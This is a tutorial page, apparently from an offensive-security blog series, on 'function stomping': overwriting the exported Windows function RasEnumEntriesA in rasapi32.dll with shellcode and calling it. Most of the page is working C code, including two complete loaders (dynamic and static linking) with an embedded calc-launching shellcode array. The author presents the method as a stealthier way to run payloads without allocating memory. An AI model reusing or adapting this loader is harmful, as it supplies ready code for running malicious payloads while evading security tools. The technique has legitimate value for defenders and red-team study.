Local Function Stomping
Code execution by overwriting a function with shellcode
Function Stomping
Functions stomping is a similar technique to module stomping (discussed in previous post), the difference is that instead of overwriting the .text
section of a loaded module, we will only stomp a single function. this makes our loader a bit more stealthy. the overall process is much like module stomping, but instead of targeting a DLL, we are targeting one of the functions exported by a DLL.
Since the content of the function is going to be overwritten by our shellcode, we should avoid using popular functions as it might crash our process, so we should use a less common function. function stomping has the same advantage of module stomping and mapping injection techniques, it saves us from memory allocation risks.
As with module stomping, in function stomping we have to choose a function that is large enough to hold our shellcode.
Here is a breakdown of the execution flow for this technique:
Dynamically loading (or statically linking) the DLL that contains the target function
Retrieving function address using GetProcAddress (no need for this if statically linked)
Overwriting function bytes with shellcode
Calling the target function to invoke the shellcode
Loading the DLL
As always, we can use LoadLibraryA/W or statically link the library to our binary at compile time using pragma
compiler directives. if we load the DLL dynamically, we have to retrieve the address of target function manually. if the library is statically linked, the address of function is known at run-time.
In these examples, i'm using a lesser used DLL (rasapi32.dll
) which is used for managing remote access connections. the target function (RasEnumEntries
) is used to lists all RAS (Remote Access Service) entries.
Statically Linking:
#include <ras.h>
#include <raserror.h>
// Link with the rasapi32.lib statically
#pragma comment(lib, "rasapi32.lib")
// get the address of the statically linked RasEnumEntries function
void* targetFunction = (void*)&RasEnumEntriesA;
Dynamic Linking:
// dynamically link rasapi32.dll
HMODULE hRasapi32 = LoadLibraryA("Rasapi32.dll");
if (!hRasapi32) {
printf("[-] Failed to load Rasapi32.dll\n");
return -1;
}
printf("[+] Loaded Rasapi32.dll at: %p\n", hRasapi32);
// ger the address of dynamically linked RasEnumEntries function
FARPROC targetFunction = GetProcAddress(hRasapi32, "RasEnumEntriesA");
if (!targetFunction) {
printf("[-] Failed to resolve RasEnumEntriesA\n");
FreeLibrary(hRasapi32);
return -1;
}
printf("[+] RasEnumEntriesA located at: %p\n", targetFunction);
Checking Function Size (Optional)
The function size is not known or documented anywhere, so an easy way to check if a function is suitable for our shellcode size, is to calculate the function size before stomping. here is a simple code that does that:
// calculate size of a function
SIZE_T GetFunctionSize(FARPROC function) {
MEMORY_BASIC_INFORMATION mbi;
SIZE_T functionSize = 0;
if (VirtualQuery(function, &mbi, sizeof(mbi))) {
BYTE* current = (BYTE*)function;
BYTE* end = (BYTE*)mbi.BaseAddress + mbi.RegionSize;
// scan until we reach the end of the memory region or encounter a return instruction
while (current < end) {
if (*current == 0xC3 || *current == 0xC2) { // check for 'ret' or 'ret imm16' opcode
functionSize = (SIZE_T)(current - (BYTE*)function + 1);
break;
}
current++;
}
}
return functionSize;
}
SIZE_T functionSize = GetFunctionSize(targetFunction);
printf("Function size: %zu bytes\n", functionSize);
// check if the function is large enough to hold the shellcode
if (functionSize < sizeof(shellcode)) {
printf("Target function is too small to hold the shellcode (%zu bytes needed)\n", sizeof(shellcode));
FreeLibrary(hRasapi32);
return -1;
}
The GetFunctionSize
takes the address of target function and uses the VirtualQuery
function to retrieve information about the region where the function resides.
SIZE_T VirtualQuery(
[in, optional] LPCVOID lpAddress,
[out] PMEMORY_BASIC_INFORMATION lpBuffer,
[in] SIZE_T dwLength
);
it fills the mbi
structure with details like the base address and region size. as the MSDN explains the third parameter:
[in] dwLength
-> The size of the buffer pointed to by thelpBuffer
parameter, in bytes.
After that, we have the base address of the function (mbi.BaseAddress) and the memory region size (mbi.RegionSize
). with these two, we can set a start address (BYTE* current) and a boundary (BYTE* end) to scan the instructions in function memory until we hit a 'ret'
or 'ret imm16'
opcode which indicates the end of function instructions. this way we can calculate the size of function and see if it can hold the shellcode.
This approach is not necessary if you are targeting a function that you are sure is not used any time in your process. it's just a little useful technique to know about :)
Stomping the Function
This step is exactly the same as module stomping. first we flip the function memory protection to RW, then we copy the shellcode to that memory address and finally, set the protection back to RX:
DWORD oldProtect;
if (!VirtualProtect((LPVOID)targetFunction, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("Failed to change memory protection\n");
FreeLibrary(hRasapi32);
return -1;
}
memcpy((void *)targetFunction, shellcode, sizeof(shellcode));
printf("Shellcode written to target function\n");
VirtualProtect((LPVOID)targetFunction, sizeof(shellcode), oldProtect, &oldProtect);
Executing the Function
The last step is to simply call the target function using a function pointer to invoke our shellcode:
printf("Executing shellcode...\n");
((void(*)())targetFunction)();
Final Code
Dynamic Loading
If we want to dynamically load the library and target function, the final code will be this:
#include <stdio.h>
#include <windows.h>
// calc shellcode
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
};
// size calculator
SIZE_T GetFunctionSize(FARPROC function) {
MEMORY_BASIC_INFORMATION mbi;
SIZE_T functionSize = 0;
if (VirtualQuery(function, &mbi, sizeof(mbi))) {
BYTE* current = (BYTE*)function;
BYTE* end = (BYTE*)mbi.BaseAddress + mbi.RegionSize;
while (current < end) {
if (*current == 0xC3 || *current == 0xC2) {
functionSize = (SIZE_T)(current - (BYTE*)function + 1);
break;
}
current++;
}
}
return functionSize;
}
int main() {
// Load Rasapi32.dll dynamically
HMODULE hRasapi32 = LoadLibraryA("Rasapi32.dll");
if (!hRasapi32) {
printf("[-] Failed to load Rasapi32.dll\n");
return -1;
}
printf("[+] Loaded Rasapi32.dll at: %p\n", hRasapi32);
// get the address of RasEnumEntriesA dynamically
FARPROC targetFunction = GetProcAddress(hRasapi32, "RasEnumEntriesA");
if (!targetFunction) {
printf("[-] Failed to resolve RasEnumEntriesA\n");
FreeLibrary(hRasapi32);
return -1;
}
printf("[+] RasEnumEntriesA located at: %p\n", targetFunction);
// calculate the size of the target function
SIZE_T functionSize = GetFunctionSize(targetFunction);
printf("[*] Function size: %zu bytes\n", functionSize);
// check if the function is large enough to hold the shellcode
if (functionSize < sizeof(shellcode)) {
printf("[!] Target function is too small to hold the shellcode (%zu bytes needed)\n", sizeof(shellcode));
FreeLibrary(hRasapi32);
return -1;
}
else {
printf("[+] Function is large enough to hold the shellcode...\n");
}
// change memory protecions to allow writing
DWORD oldProtect;
if (!VirtualProtect((LPVOID)targetFunction, sizeof(shellcode), PAGE_READWRITE, &oldProtect)) {
printf("[-] Failed to change memory protection\n");
FreeLibrary(hRasapi32);
return -1;
}
// overwrite the function with shellcode
memcpy((void*)targetFunction, shellcode, sizeof(shellcode));
printf("[+] shellcode written to target function\n");
// restore memory protections
VirtualProtect((LPVOID)targetFunction, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);
// call the overwritten function to execute shellcode
printf("[>] Press <Enter> to call the function and invoke the shellcode...");
getchar();
((void(*)())targetFunction)();
return 0;
}
Static Linking
If we choose to statically link the library, the final code will be this:
#include <stdio.h>
#include <windows.h>
// needed headers
#include <ras.h>
#include <raserror.h>
// link the binary with the rasapi32.lib statically
#pragma comment(lib, "rasapi32.lib")
// calc shellcode
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
};
// size calculator
SIZE_T GetFunctionSize(FARPROC function) {
MEMORY_BASIC_INFORMATION mbi;
SIZE_T functionSize = 0;
if (VirtualQuery(function, &mbi, sizeof(mbi))) {
BYTE* current = (BYTE*)function;
BYTE* end = (BYTE*)mbi.BaseAddress + mbi.RegionSize;
while (current < end) {
if (*current == 0xC3 || *current == 0xC2) {
functionSize = (SIZE_T)(current - (BYTE*)function + 1);
break;
}
current++;
}
}
return functionSize;
}
int main() {
// get the address of the statically linked RasEnumEntries function
void* targetFunction = (void*)&RasEnumEntriesA;
printf("[+] Target function located at: %p\n", targetFunction);
// calculate the size of the target function
SIZE_T functionSize = GetFunctionSize((FARPROC)targetFunction);
printf("[*] Function size: %zu bytes\n", functionSize);
// check if the function is large enough to hold the shellcode
if (functionSize < sizeof(shellcode)) {
printf("[-] Target function is too small to hold the shellcode (%zu bytes needed)\n", sizeof(shellcode));
return -1;
}
else {
printf("[+] Function is large enough to hold the shellcode...\n");
}
// change memory protecions to allow writing
DWORD oldProtect;
if (!VirtualProtect(targetFunction, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[-] Failed to change memory protection\n");
return -1;
}
// overwrite the function with shellcode
memcpy(targetFunction, shellcode, sizeof(shellcode));
printf("[+] Shellcode written to target function\n");
// restore memory protections
VirtualProtect(targetFunction, sizeof(shellcode), oldProtect, &oldProtect);
// call the overwritten function to execute shellcode
printf("[>] Press <Enter> to call the function and invoke the shellcode...");
getchar();
((void(*)())targetFunction)();
return 0;
}
Code Samples
Code snippets are available on GitHub:
Last updated
Was this helpful?